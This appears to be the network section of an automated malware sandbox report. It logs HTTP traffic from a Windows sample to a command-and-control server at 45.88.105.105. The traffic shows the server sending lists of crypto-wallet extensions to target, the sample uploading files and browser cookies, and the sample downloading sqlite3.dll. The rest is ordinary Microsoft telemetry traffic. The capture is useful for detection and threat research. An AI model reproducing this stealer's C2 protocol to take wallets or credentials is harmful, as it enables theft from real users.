Oct 31, 2024 09:07:06.423902988 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 31, 2024 09:07:06.423913956 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 31, 2024 09:07:06.425396919 CET	468	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJEHJJDAAAKEBGCFCA Host: 45.88.105.105 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 2d 2d 0d 0a Data Ascii: ------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="message"fplugins------DGHJEHJJDAAAKEBGCFCA--
Oct 31, 2024 09:07:06.670855999 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 09:07:06.699577093 CET	201	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBG Host: 45.88.105.105 Content-Length: 5935 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 09:07:06.699678898 CET	5935	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 09:07:07.093111038 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 09:07:07.413765907 CET	92	OUT	GET /caf2400fcdb97982/sqlite3.dll HTTP/1.1 Host: 45.88.105.105 Cache-Control: no-cache
Oct 31, 2024 09:07:07.658523083 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 31, 2024 09:07:07.658539057 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 31, 2024 09:07:07.658550978 CET	424	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49798	45.88.105.105	80	4888	C:\Users\user\Desktop\I43xo3KKfS.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 09:07:19.700139046 CET	200	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 45.88.105.105 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 09:07:19.700166941 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 31, 2024 09:07:20.602758884 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 09:07:20.716799974 CET	563	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBK Host: 45.88.105.105 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file"------EHDGIJJDGCBKFIDHIEBK--
Oct 31, 2024 09:07:21.039190054 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 5a 42 4d 72 55 2f 65 57 30 4f 37 65 6d 4d 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 64 39 31 33 34 33 65 32 66 64 33 37 63 63 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: MZBMrU/eW0O7emMW.1Context: 7d91343e2fd37cc3
2024-10-31 08:07:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-31 08:07:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 5a 42 4d 72 55 2f 65 57 30 4f 37 65 6d 4d 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 64 39 31 33 34 33 65 32 66 64 33 37 63 63 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 48 31 32 41 41 55 38 4f 4d 55 6a 6a 4f 42 6a 4f 49 49 74 52 31 64 6a 77 45 54 44 78 51 68 70 30 43 30 4b 6c 4d 62 77 78 6e 76 39 75 2b 79 6e 43 56 6f 59 70 57 74 76 33 42 78 4a 4b 4d 5a 72 37 56 42 2f 70 31 54 54 49 67 5a 64 34 49 78 4a 77 42 63 51 50 76 6c 67 48 39 6d 4c 69 6f 6f 58 43 37 54 6c 72 54 5a 47 44 57 6b 42 67 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: MZBMrU/eW0O7emMW.2Context: 7d91343e2fd37cc3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfH12AAU8OMUjjOBjOIItR1djwETDxQhp0C0KlMbwxnv9u+ynCVoYpWtv3BxJKMZr7VB/p1TTIgZd4IxJwBcQPvlgH9mLiooXC7TlrTZGDWkBg
2024-10-31 08:07:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 5a 42 4d 72 55 2f 65 57 30 4f 37 65 6d 4d 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 64 39 31 33 34 33 65 32 66 64 33 37 63 63 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: MZBMrU/eW0O7emMW.3Context: 7d91343e2fd37cc3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-31 08:07:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-31 08:07:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 4b 32 56 69 53 63 76 50 6b 4f 61 4b 31 33 69 74 71 79 44 38 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TK2ViScvPkOaK13itqyD8A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:09 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:09 UTC	540	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:09 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 30 Oct 2024 23:56:08 GMT ETag: "0x8DCF93E6CAB67A0" x-ms-request-id: cf7486c4-d01e-00ad-0e4c-2be942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080709Z-17c5cb586f6fqqst87nqkbsx1c00000007p00000000096hz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:09 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-31 08:07:09 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
